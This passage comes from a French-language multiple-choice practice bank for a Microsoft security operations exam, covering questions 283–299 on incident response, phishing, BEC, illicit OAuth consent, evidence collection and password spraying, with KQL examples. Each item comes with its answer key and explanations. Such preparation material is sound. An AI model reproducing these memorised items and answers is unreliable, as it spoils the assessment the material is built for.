**Point à retenir pour l'examen :** Documenter : chronologie, preuves (chaîne de custode), décisions, périmètre, classification, cause racine.

**Référence officielle**

- Gérer les incidents dans le portail Microsoft Defender (hérité) — https://learn.microsoft.com/fr-fr/defender-xdr/manage-incidents
- Gestion de dossiers dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/siem-defender-case-management

## Question n° 283 — Évaluation de l'impact

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un incident implique la compromission d'un compte d'un employé du service RH. Quelle démarche permet d'évaluer l'impact de façon fiable ?

**A.** Supposer qu'aucune donnée n'a été touchée si l'antivirus n'a rien détecté.

**B.** Demander à l'utilisateur ce qu'il pense avoir perdu.

**C.** Mesurer l'impact par le nombre d'alertes générées.

**D.** Recenser les ressources et données auxquelles le compte a accédé pendant la période de compromission (journaux d'audit Microsoft 365, accès aux fichiers, e-mails consultés, applications), et les privilèges qu'il détient.

**Bonne réponse : D**

**Correction détaillée**

L'**évaluation de l'impact** reconstitue les accès réels : **Purview Audit** (FileAccessed, FileDownloaded, MailItemsAccessed), **CloudAppEvents**, **SigninLogs** (applications), **MicrosoftGraphActivityLogs**, droits et rôles du compte (IdentityInfo). Elle détermine la sensibilité des données exposées et les obligations éventuelles.

**Analyse des réponses incorrectes**

- **A.** Une compromission de compte n'implique pas forcément de malware.
- **B.** Témoignage utile mais insuffisant.
- **C.** Le volume d'alertes ne reflète pas les données exposées.

**Explication technique**

Délimiter précisément la **fenêtre de compromission** (premier accès malveillant → confinement) et distinguer l'activité légitime de l'utilisateur de celle de l'attaquant (IP, appareil, agent utilisateur).

**Point à retenir pour l'examen :** Impact = ce que le compte compromis a réellement consulté/modifié

pendant la fenêtre de compromission, d'après les journaux.

**Référence officielle**

- Examiner les incidents dans le portail Microsoft Defender (ancienne version) — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-incidents

## Question n° 284 — Retour d'expérience

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après la clôture d'un incident majeur, quelle activité est la plus utile pour réduire la probabilité d'un incident similaire ?

**A.** Supprimer la documentation de l'incident pour libérer de l'espace.

**B.** Attendre le prochain incident pour améliorer les procédures.

**C.** Une réunion de retour d'expérience (lessons learned) identifiant la cause racine, les lacunes de détection et de réponse, et un plan d'actions suivi (nouvelles règles, durcissement, formation).

**D.** Désactiver les règles qui ont produit des alertes pendant l'incident.

**Bonne réponse : C**

**Correction détaillée**

Les **activités post-incident** (retour d'expérience) analysent ce qui a fonctionné ou non, la **cause racine** et les **actions correctives** : nouvelles détections (règles analytiques, détections personnalisées), automatisations, durcissement (ASR, accès conditionnel), mise à jour des runbooks et formation.

**Analyse des réponses incorrectes**

- **A.** La documentation sert au retour d'expérience et à l'audit.
- **B.** Démarche réactive.
- **D.** Elles ont joué leur rôle.

**Explication technique**

Les métriques (temps moyen de détection, de confinement, de résolution) issues de SecurityIncident aident à mesurer les progrès. Les requêtes de chasse utilisées pendant l'incident peuvent être converties en règles.

**Point à retenir pour l'examen :** Post-incident = cause racine + plan d'actions (détections, durcissement, procédures).

**Référence officielle**

- Planification de la réponse aux incidents — https://learn.microsoft.com/fr-fr/security/operations/incident-response-planning

## Question n° 285 — Mesurer le temps de résolution

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Le RSSI demande le délai moyen entre la création et la clôture des incidents de gravité élevée sur les 30 derniers jours. Quelle requête Sentinel convient ?

**A.**

REQUÊTE KQL

```
SecurityAlert
| where TimeGenerated > ago(30d)
| summarize avg(EndTime - StartTime)
```

**B.**

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(30d)
| summarize arg_max(TimeGenerated, *) by IncidentNumber
| where Status == "Closed" and Severity == "High"
| extend HeuresResolution = datetime_diff("minute", ClosedTime, CreatedTime) / 60.0
| summarize MoyenneHeures = avg(HeuresResolution), Mediane = percentile(HeuresResolution, 50),
Incidents = count()
```

**C.**

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(30d)
| summarize count() by Severity
```

**D.**

REQUÊTE KQL

```
SecurityIncident
| where TimeGenerated > ago(30d)
| where Severity == "High"
| extend Duree = ClosedTime - CreatedTime
| summarize avg(Duree)
```

**Bonne réponse : B**

### Correction détaillée

On déduplique **SecurityIncident** (dernière version par IncidentNumber), on garde les incidents **clos** de gravité élevée, puis on calcule l'écart **ClosedTime – CreatedTime**. La médiane complète la moyenne, sensible aux valeurs extrêmes.

### Analyse des réponses incorrectes

- **A.** Durée de l'activité malveillante dans les alertes, pas délai de traitement des incidents.
- **C.** Nombre d'incidents par gravité, sans délai.
- **D.** Sans déduplication par incident, chaque mise à jour est comptée (les incidents modifiés souvent pèsent plus) et les incidents non clos faussent le calcul.

### Explication technique

D'autres indicateurs : délai de prise en charge (FirstModifiedTime – CreatedTime), délai de détection (CreatedTime – FirstActivityTime). Le classeur « Efficacité des opérations de sécurité » fournit ces mesures.

### Résultat attendu

Une ligne avec la moyenne et la médiane du délai de résolution (heures) et le nombre d'incidents.

**Point à retenir pour l'examen :** MTTR = SecurityIncident dédupliquée (arg_max) + ClosedTime – CreatedTime, avec médiane.

### Référence officielle

- Incident de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityincident
- arg_max() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/arg-max-aggregation-function?view=microsoft-sentinel

## Question n° 286 — Faux positif récurrent

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une règle analytique Sentinel détecte des « connexions depuis des IP Tor » mais génère chaque jour des incidents pour les adresses d'un fournisseur VPN d'entreprise mal classées comme Tor. Quelle est la meilleure correction durable ?

A. Corriger la règle : exclure les plages IP du VPN d'entreprise via une watchlist référencée dans la requête, puis documenter la modification.

B. Désactiver définitivement la règle.

C. Réduire la gravité de la règle à « Informationnel ».

D. Fermer manuellement chaque incident comme faux positif.

**Bonne réponse : A**

**Correction détaillée**

Un **faux positif récurrent** se corrige à la **source** : affiner la logique de détection (exclusions ciblées et maintenables via **watchlist**), puis vérifier l'effet. Les règles d'automatisation de fermeture sont plutôt réservées aux exceptions temporaires.

**Analyse des réponses incorrectes**

- **B.** On perdrait la détection des vraies connexions Tor.
- **C.** Le bruit reste ; les vrais positifs seraient minorés.
- **D.** Le bruit persiste et consomme du temps.

**Explication technique**

Tracer la modification (commentaire, référentiel Git), revoir périodiquement les exclusions et mesurer le taux de faux positifs par règle (classification des incidents). Dans Defender XDR, l'ajustement des alertes joue un rôle équivalent pour les alertes natives.

**Point à retenir pour l'examen :** Faux positif récurrent = corriger la règle (exclusion ciblée par watchlist), pas fermer à la main.

**Référence officielle**

- Créer et utiliser des règles d'automatisation Microsoft Sentinel pour gérer la réponse — https://learn.microsoft.com/fr-fr/azure/sentinel/create-manage-use-automation-rules
- Examiner les alertes dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-alerts

## Question n° 287 — Faux positif ou vrai positif bénin

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une alerte signale l'exécution de PsExec sur 20 serveurs. Il s'agit d'un déploiement planifié par l'équipe d'exploitation, documenté dans le gestionnaire de changements. Comment classer l'incident ?

A. Sans classification.

B. Comme un vrai positif malveillant.

C. Comme un faux positif.

D. Comme une activité réelle mais attendue (Benign Positive / « Informationnel, activité attendue »), en référençant la demande de changement.

**Bonne réponse : D**

**Correction détaillée**

Une détection **correcte** d'une activité **légitime** n'est pas un faux positif : c'est un **vrai positif bénin** (Benign Positive / activité attendue). Un **faux positif** désigne une détection erronée (l'activité décrite n'a pas eu lieu ou est mal interprétée).

**Analyse des réponses incorrectes**

- **A.** La classification améliore le réglage et les statistiques.
- **B.** L'activité est autorisée et documentée.

- **C.** La détection est exacte : PsExec a bien été exécuté.

**Explication technique**

Pour réduire ce type d'alerte, coordonner les changements avec le SOC (fenêtres de maintenance), utiliser des comptes de déploiement dédiés et, si besoin, une exclusion temporaire ciblée.

**Point à retenir pour l'examen :** Activité réelle autorisée = Benign Positive ; détection erronée = False Positive.

**Référence officielle**

- Gérer les incidents dans le portail Microsoft Defender (hérité) — https://learn.microsoft.com/fr-fr/defender-xdr/manage-incidents

## Question n° 288 — Gestion des cas dans le portail Defender

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Le SOC veut suivre dans le portail Defender un travail qui ne correspond pas à un incident (par exemple une campagne de durcissement suite à un audit), avec tâches, propriétaires, pièces jointes et SLA. Quelle fonctionnalité utiliser ?

**A.** Les watchlists.

**B.** Les règles d'analyse NRT.

**C.** Les cas génériques (generic cases) de la gestion des cas du portail Defender.

**D.** Les recommandations du Secure Score uniquement.

**Bonne réponse : C**

**Correction détaillée**

La **gestion des cas** du portail Defender propose des **cas d'incident** (préversion, issus des incidents corrélés) et des **cas génériques** (créés manuellement pour tout travail SecOps), avec statut, priorité, assignation, balises, tâches, commentaires, pièces jointes, modèles et **stratégies de SLA**.

**Analyse des réponses incorrectes**

- **A.** Elles stockent des données de référence.
- **B.** Elles détectent des menaces, elles ne suivent pas un travail.
- **D.** Elles proposent des améliorations mais ne gèrent pas un dossier de travail collaboratif.

**Explication technique**

L'activité des cas peut être auditée et conservée dans Log Analytics via la table **SecurityCaseEvent**. Les cas ne sont disponibles que dans le portail Defender (pas dans Sentinel sur le portail Azure). Le référentiel cite « Gérer les incidents de sécurité à l'aide de la gestion des cas ».

**Point à retenir pour l'examen :** Travail SecOps hors incident = cas générique ; incidents = cas d'incident (préversion).

**Référence officielle**

- Gestion de dossiers dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/siem-defender-case-management

## Question n° 289 — Rapport d'incident pour la direction

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** La direction demande un rapport sur un incident clos. Quel contenu est le plus adapté à ce public ?

**A.** Un rapport rédigé avant la fin de l'analyse, sans vérification.

**B.** Un résumé non technique : ce qui s'est passé, l'impact métier, les mesures prises, le risque résiduel et les actions recommandées avec leurs responsables et échéances.

**C.** L'export brut de toutes les requêtes KQL exécutées.

**D.** La liste des hachages de fichiers observés uniquement.

**Bonne réponse : B**

**Correction détaillée**

Le rapport de direction traduit l'incident en **impact métier** et en **décisions** : chronologie simplifiée, périmètre, données concernées, mesures de réponse, coûts éventuels, **risque résiduel**, **plan d'actions**. Les détails techniques sont placés en annexe pour les équipes concernées.

**Analyse des réponses incorrectes**

- **A.** Risque d'informations erronées.
- **C.** Inadapté à un public non technique.
- **D.** Détails techniques sans valeur décisionnelle pour la direction.

**Explication technique**

Copilot dans Defender peut générer un premier rapport d'incident à partir des données de l'incident ; l'analyste le relit, le complète et le valide.

**Point à retenir pour l'examen :** Rapport de direction = impact métier, mesures, risque résiduel, actions — détails techniques en annexe.

**Référence officielle**

- Résumer un incident avec Microsoft Copilot dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/security-copilot-m365d-incident-summary

## 4.2 Hameçonnage et compromission de messagerie

### Question n° 290 — Première action sur un hameçonnage signalé

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un utilisateur signale un e-mail d'hameçonnage reçu il y a 10 minutes ; il n'a pas cliqué. Quelle est la première action d'investigation la plus efficace ?

**A.** Réinitialiser le mot de passe de l'utilisateur qui a signalé.

**B.** Isoler le poste de l'utilisateur.

**C.** Ignorer : l'utilisateur n'a pas cliqué.

**D.** Déterminer la portée de la campagne : rechercher les autres destinataires du même message (expéditeur, objet, URL) et vérifier les clics éventuels.

**Bonne réponse : D**

**Correction détaillée**

Le guide Microsoft de réponse à l'hameçonnage commence par **évaluer la portée** : qui a reçu le message, qui l'a ouvert, qui a cliqué ou saisi des identifiants (Threat Explorer, EmailEvents, UrlClickEvents). Ensuite viennent la purge, le blocage des indicateurs et le traitement des utilisateurs touchés.

**Analyse des réponses incorrectes**

- **A.** Il n'a pas cliqué ; l'action ne traite pas les autres destinataires.
- **B.** Aucun indice de compromission du poste.

- **C.** D'autres destinataires ont pu cliquer.

**Explication technique**

Indicateurs à extraire : expéditeur (et domaine), IP d'envoi, objet, URL, pièces jointes (hachages), NetworkMessageId. Les messages similaires peuvent être regroupés par cluster (EmailClusterId) ou via les campagnes MDO.

**Point à retenir pour l'examen :** Hameçonnage signalé : d'abord la portée (destinataires, clics), puis purge et blocage.

**Référence officielle**

- Enquête d'hameçonnage — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbook-phishing

## Question n° 291 — Analyse des en-têtes d'authentification

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un e-mail prétendant provenir de « support@contoso.com » arrive dans la boîte de réception. L'en-tête indique `spf=fail`, `dkim=none`, `dmarc=fail` et un expéditeur d'enveloppe (MAIL FROM) appartenant à un domaine inconnu. Que conclure ?

**A.** Il s'agit très probablement d'une usurpation (spoofing) du domaine contoso.com ; il faut vérifier pourquoi le message a été remis (stratégie DMARC, exceptions ou règles de transport).

**B.** Un échec SPF signifie uniquement que le message est trop volumineux.

**C.** DMARC « fail » indique que le message a été chiffré.

**D.** Le message est authentique car l'adresse affichée est correcte.

**Bonne réponse : A**

**Correction détaillée**

**SPF** vérifie que l'IP émettrice est autorisée par le domaine de l'enveloppe ; **DKIM** vérifie une signature cryptographique ; **DMARC** exige l'alignement de l'un des deux avec le domaine affiché et définit la politique (none/quarantine/reject). Un triple échec avec un domaine d'enveloppe étranger signe une **usurpation**.

**Analyse des réponses incorrectes**

- **B.** SPF vérifie l'autorisation de l'IP d'envoi pour le domaine.
- **C.** DMARC vérifie l'alignement SPF/DKIM avec le domaine affiché.
- **D.** L'adresse affichée (From) est facile à falsifier ; les contrôles d'authentification ont échoué.

**Explication technique**

Dans EmailEvents, la colonne **AuthenticationDetails** contient les résultats SPF/DKIM/DMARC/CompAuth. Une politique DMARC `p=reject` sur le domaine de l'organisation et une stratégie anti-usurpation correctement configurée réduisent ces remises. Les exceptions (listes d'autorisation, règles de transport contournant le filtrage) sont des causes fréquentes.

**Point à retenir pour l'examen :** SPF/DKIM/DMARC en échec + domaine d'enveloppe étranger = usurpation ; vérifier les exceptions qui ont permis la remise.

**Référence officielle**

- Stratégies anti-hameçonnage dans les organisations cloud — https://learn.microsoft.com/fr-fr/defender-office-365/anti-phishing-policies-about
- EmailEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailevents-table

## Question n° 292 — Identifiants saisis sur une page d'hameçonnage

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un utilisateur a cliqué sur un lien d'hameçonnage et saisi ses identifiants sur une fausse page Microsoft 365 il y a 30 minutes. Quelle séquence de réponse est la plus appropriée ?

**A.** Attendre une alerte d'Entra ID Protection avant d'agir.

**B.** Réinitialiser le mot de passe, révoquer les sessions, vérifier les connexions récentes et les méthodes MFA ajoutées, rechercher les règles de boîte de réception et les accès réalisés depuis des IP suspectes.

**C.** Supprimer le compte de l'utilisateur.

**D.** Analyser le poste avec l'antivirus et clore l'incident si rien n'est trouvé.

**Bonne réponse : B**

### Correction détaillée

La saisie d'identifiants impose un **confinement immédiat de l'identité** : nouveau mot de passe, **révocation des sessions** (jetons d'actualisation), vérification des **connexions** (SigninLogs, AADNonInteractiveUserSignInLogs) depuis l'IP de l'attaquant, des **méthodes MFA** et **appareils** ajoutés, des **règles de messagerie** et des accès aux données.

### Analyse des réponses incorrectes

- **A.** Les identifiants sont connus de l'attaquant : il faut agir immédiatement.
- **C.** Disproportionné et destructeur.
- **D.** La compromission porte sur l'identité cloud, pas sur le poste.

### Explication technique

Si la page était de type AiTM, la MFA a pu être contournée (vol de cookie) : la révocation des sessions est essentielle. Bloquer le domaine d'hameçonnage (indicateurs, liste d'autorisation/blocage du locataire) et rechercher les autres victimes (UrlClickEvents).

**Point à retenir pour l'examen :** Identifiants saisis = mot de passe + révocation des sessions + vérification connexions/MFA/règles, sans attendre.

### Référence officielle

- Enquête d'hameçonnage — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbook-phishing
- Révoquer les accès utilisateur dans Microsoft Entra ID — https://learn.microsoft.com/fr-fr/entra/identity/users/users-revoke-access

## Question n° 293 — Compromission de messagerie professionnelle (BEC)

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un fournisseur signale avoir reçu, depuis la boîte d'un comptable de votre entreprise, une demande de modification de RIB. Le comptable n'a rien envoyé. Quelles investigations prioritaires mener ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Réinstaller le système d'exploitation du poste du comptable en priorité.

**B.** Attendre que le fournisseur confirme le virement.

**C.** Bloquer définitivement le domaine du fournisseur.

**D.** Examiner les connexions au compte du comptable (IP, pays, appareils, agent utilisateur, sessions) et l'éventuelle présence d'une connexion AiTM ou d'un vol de jeton.

**E.** Rechercher les règles de boîte de réception, les e-mails envoyés et supprimés par l'attaquant (journaux d'audit, MailItemsAccessed, éléments envoyés) pour mesurer l'étendue de la fraude.

**Bonne réponse : D, E**

**Correction détaillée**

Un **BEC** (T1534 / T1114) implique typiquement : prise de contrôle du compte (hameçonnage, AiTM, pulvérisation), **règles de dissimulation** (déplacement des réponses), **lecture** des échanges financiers et **envoi** de messages frauduleux. On investigue l'identité (connexions) et la boîte (règles, messages envoyés/lus/supprimés).

**Analyse des réponses incorrectes**

- **A.** La compromission concerne la boîte cloud ; la réinstallation détruirait des preuves sans traiter l'accès de l'attaquant.
- **B.** La réponse doit être immédiate pour bloquer la fraude.
- **C.** Le fournisseur est victime ; c'est le compte interne qui est compromis.

**Explication technique**

Defender XDR peut déclencher l'**interruption automatique d'attaque** sur des scénarios BEC (désactivation de l'utilisateur). Réponse : confinement de l'identité, suppression des règles, alerte aux destinataires externes, coordination avec la finance pour bloquer les paiements, préservation des preuves (Purview Audit, eDiscovery).

**Point à retenir pour l'examen :** BEC = enquêter sur l'identité (connexions) ET sur la boîte (règles, envoyés, lus) ; prévenir la finance.

**Référence officielle**

- Répondre à un compte de messagerie cloud compromis — https://learn.microsoft.com/fr-fr/defender-office-365/responding-to-a-compromised-email-account
- Interruption automatique des attaques dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/automatic-attack-disruption

## Question n° 294 — QR codes d'hameçonnage

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une campagne utilise des images de QR codes dans les e-mails pour diriger les victimes vers une page de vol d'identifiants depuis leur téléphone personnel. Pourquoi cette technique complique-t-elle la détection et la réponse ?

**A.** Les QR codes sont chiffrés et illisibles par Microsoft.

**B.** Les QR codes désactivent automatiquement la MFA.

**C.** Les QR codes ne peuvent contenir que des numéros de téléphone.

**D.** L'URL est dans une image et la navigation se fait souvent depuis un appareil non géré : les protections de clic (Safe Links) et la télémétrie des postes ne s'appliquent pas de la même façon.

**Bonne réponse : D**

**Correction détaillée**

Le **quishing** déplace l'interaction vers un **appareil mobile personnel**, hors de la protection des clics et de la visibilité EDR. Defender for Office 365 détecte les URL dans les QR codes (EmailUrlInfo peut indiquer l'emplacement de l'URL, par exemple dans une image), mais les clics sur mobile ne sont pas protégés par Safe Links.

**Analyse des réponses incorrectes**

- **A.** Defender for Office 365 sait extraire et analyser des URL de QR codes ; la difficulté tient surtout au parcours de l'utilisateur.
- **B.** Aucune relation.
- **C.** Ils peuvent encoder des URL.

**Explication technique**

Défense : accès conditionnel exigeant des appareils conformes ou une MFA résistante à l'hameçonnage, sensibilisation (simulations avec QR codes), surveillance des connexions depuis des appareils non gérés suivant la réception de tels e-mails.

**Point à retenir pour l'examen :** Quishing = URL dans une image + mobile non géré → s'appuyer sur l'accès conditionnel et la MFA résistante.

**Référence officielle**

- Microsoft Defender pour Office 365 vue d'ensemble — https://learn.microsoft.com/fr-fr/defender-office-365/mdo-about
- EmailUrlInfo — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-emailurlinfo-table

## Question n° 295 — Purger et bloquer après une campagne

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Après avoir identifié une campagne d'hameçonnage (même expéditeur, même URL), quelles actions combinées réduisent à la fois l'exposition actuelle et la réapparition ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Ajouter l'expéditeur à la liste des expéditeurs approuvés pour suivre la campagne.

**B.** Désactiver la boîte de réception de tous les destinataires.

**C.** Bloquer l'expéditeur, le domaine et l'URL dans la liste d'autorisation/blocage du locataire (et via des indicateurs MDE pour l'URL).

**D.** Retirer les messages distribués (Threat Explorer / chasse avancée, action de remédiation suivie dans le Centre de notifications).

**E.** Désactiver Safe Links pour accélérer la remise des messages.

**Bonne réponse : C, D**

**Correction détaillée**

La réponse combine **remédiation** des messages existants et **prévention** de nouveaux envois/clics : entrées « Bloquer » dans la **Tenant Allow/Block List** (expéditeurs, domaines, URL, fichiers), **indicateurs** Defender for Endpoint pour l'URL, et soumission à Microsoft.

**Analyse des réponses incorrectes**

- **A.** Favorise la remise des futurs messages malveillants.
- **B.** Disproportionné.
- **E.** Réduit la protection.

**Explication technique**

Le blocage d'URL dans la liste du locataire s'applique aussi aux clics Safe Links. Les indicateurs MDE couvrent la navigation sur les postes (avec protection réseau). Vérifier ensuite l'absence de nouveaux messages (EmailEvents) et de clics (UrlClickEvents).

**Point à retenir pour l'examen :** Campagne d'hameçonnage = purger les messages + bloquer expéditeur/domaine/URL (TABL + indicateurs).

**Référence officielle**

- Corriger les courriers malveillants remis dans Office 365 — https://learn.microsoft.com/fr-fr/defender-office-365/remediate-malicious-email-delivered-office-365
- Gérer les autorisations et les blocages dans la liste d'autorisation/de blocage du locataire — https://learn.microsoft.com/fr-fr/defender-office-365/tenant-allow-block-list-about

## Question n° 296 — Consentement illicite à une application

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Plusieurs utilisateurs ont accordé à une application « PDF Converter Pro » l'accès à leur messagerie après un e-mail d'hameçonnage. Selon le guide Microsoft de réponse aux octrois de consentement d'application, quelles actions sont prioritaires ?

**A.** Réinitialiser les mots de passe des utilisateurs et considérer l'incident clos.

**B.** Bloquer le domaine de l'expéditeur uniquement.

**C.** Identifier l'application et les utilisateurs ayant consenti, révoquer les autorisations (supprimer les octrois de consentement et désactiver ou supprimer le principal de service), puis restreindre le consentement des utilisateurs.

**D.** Demander aux utilisateurs de désinstaller l'application de leur poste.

**Bonne réponse : C**

**Correction détaillée**

Le **consentement illicite** (T1528) donne à l'application des **jetons** d'accès aux données. La réponse consiste à **révoquer les octrois** (OAuth2PermissionGrants), **désactiver/supprimer le principal de service**, examiner ce que l'application a fait (MicrosoftGraphActivityLogs, audit) et **restreindre le consentement** (éditeurs vérifiés, flux de demande de consentement administrateur).

**Analyse des réponses incorrectes**

- **A.** Les jetons OAuth de l'application ne dépendent pas du mot de passe : l'accès continuerait.
- **B.** L'application conserverait ses accès.
- **D.** L'application est un service cloud, elle n'est pas installée sur le poste.

**Explication technique**

Dans AuditLogs, rechercher « Consent to application » et « Add OAuth2PermissionGrant ». Defender for Cloud Apps (gouvernance des applications) permet d'interdire l'application et de détecter les applications à risque.

**Point à retenir pour l'examen :** Consentement illicite : révoquer les octrois et le principal de service — changer le mot de passe ne suffit pas.

**Référence officielle**

- Investigation sur l'octroi de consentement pour l'application — https://learn.microsoft.com/fr-fr/security/operations/incident-response-playbook-app-consent
- Examiner et corriger les applications OAuth à risque — https://learn.microsoft.com/fr-fr/defender-cloud-apps/investigate-risky-oauth

## Question n° 297 — Pièce jointe malveillante ouverte

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un utilisateur a ouvert une pièce jointe Excel avec macro. MDE montre excel.exe lançant powershell.exe qui a établi une connexion vers une IP externe. Quelle est la mesure de confinement immédiate la plus appropriée ?

A. Isoler l'appareil (en conservant la connectivité avec Defender for Endpoint) puis collecter le package d'investigation avant toute remédiation.

B. Attendre la fin de l'analyse complète avant toute action.

C. Éteindre brutalement le poste.

D. Supprimer le compte de l'utilisateur.

**Bonne réponse : A**

**Correction détaillée**

L'**isolation** coupe la communication avec l'attaquant tout en gardant la télémétrie et les actions MDE (package d'investigation, Live Response, analyse). La collecte de preuves précède la remédiation (suppression, réinstallation).

**Analyse des réponses incorrectes**

- **B.** La connexion sortante indique une possible commande et contrôle : il faut contenir.
- **C.** On perdrait la mémoire volatile et la capacité d'investigation à distance.
- **D.** Disproportionné ; c'est le poste qui est compromis.

**Explication technique**

Ensuite : identifier la charge (ligne de commande décodée, fichiers déposés, persistance), rechercher le même hachage/la même IP dans le parc (chasse avancée), bloquer les IOC (indicateurs), vérifier l'identité de l'utilisateur (vol d'identifiants possible), purger l'e-mail des autres boîtes.

**Point à retenir pour l'examen :** Poste compromis actif = isoler (pas éteindre) puis collecter les preuves avant de remédier.

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts
- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 298 — Ordre de volatilité des preuves

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Avancé

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Lors d'une intervention sur un serveur compromis, dans quel ordre collecter idéalement les éléments de preuve, du plus volatil au moins volatil ?

A. Mémoire vive et état des processus/connexions → fichiers temporaires et état du système → disque → journaux distants et sauvegardes.

B. Sauvegardes → disque → mémoire vive → connexions réseau.

C. Disque → mémoire vive → connexions réseau → journaux.

D. Journaux distants uniquement, le reste étant inutile.

**Bonne réponse : A**

**Correction détaillée**

Selon l'**ordre de volatilité** (RFC 3227), on collecte d'abord ce qui disparaît le plus vite : **mémoire**, processus, connexions réseau, puis fichiers temporaires, **disque**, et enfin les journaux distants et archives (plus stables).

**Analyse des réponses incorrectes**

- **B.** Les éléments volatils seraient perdus pendant la collecte des éléments stables.
- **C.** La mémoire et les connexions doivent être collectées avant le disque.

- **D.** Les journaux distants sont précieux mais ne contiennent pas l'état mémoire.

**Explication technique**

Avec MDE : Live Response (`processes`, `connections`, scripts de capture mémoire, `getfile`) et package d'investigation. Les journaux centralisés dans Sentinel et Defender XDR sont déjà préservés hors de la machine, ce qui limite l'impact d'un effacement local.

**Point à retenir pour l'examen :** Collecte du plus volatil au moins volatil : mémoire/processus/connexions → disque → journaux/archives.

**Référence officielle**

- Prendre des mesures de réponse sur un appareil — https://learn.microsoft.com/fr-fr/defender-endpoint/respond-machine-alerts
- Examiner les entités sur les appareils avec Live Response — https://learn.microsoft.com/fr-fr/defender-endpoint/live-response

## 4.3 Force brute, pulvérisation et compromission de comptes hybrides

### Question n° 299 — Pulvérisation de mots de passe réussie

**Domaine :** Module 4 — Réponse aux incidents et investigation avancée **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une enquête confirme qu'une pulvérisation de mots de passe a réussi sur 3 comptes cloud via l'authentification héritée (IMAP). Quelles mesures prioritaires appliquer ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Supprimer les 3 comptes.

**B.** Réinitialiser les mots de passe et révoquer les sessions des 3 comptes, puis examiner leurs activités depuis les IP d'attaque.

**C.** Augmenter le seuil de verrouillage intelligent pour éviter de bloquer les utilisateurs.

**D.** Désactiver la journalisation des connexions pour réduire le bruit.

**E.** Bloquer l'authentification héritée par une stratégie d'accès conditionnel et exiger la MFA.

**Bonne réponse : B, E**

**Correction détaillée**

La procédure Microsoft de réponse à la pulvérisation recommande : **confinement des comptes compromis** (mot de passe, sessions), **investigation** de leurs activités, et **mesures préventives** : blocage de l'**authentification héritée** (qui contourne la MFA), MFA pour tous, protection par mot de passe Entra (liste de mots de passe interdits), verrouillage intelligent.

**Analyse des réponses incorrectes**

- **A.** Disproportionné et destructeur de preuves.
- **C.** Cela faciliterait au contraire les attaques.
- **D.** Supprimerait la visibilité.

**Explication technique**

L'authentification héritée (IMAP, POP, SMTP AUTH, EWS basique) apparaît dans SigninLogs via `ClientAppUsed`. Les IP d'attaque peuvent être bloquées via des emplacements nommés de l'accès conditionnel.

**Point à retenir pour l'examen :** Spraying réussi : confiner les comptes + bloquer l'authentification héritée + MFA généralisée.

**Référence officielle**

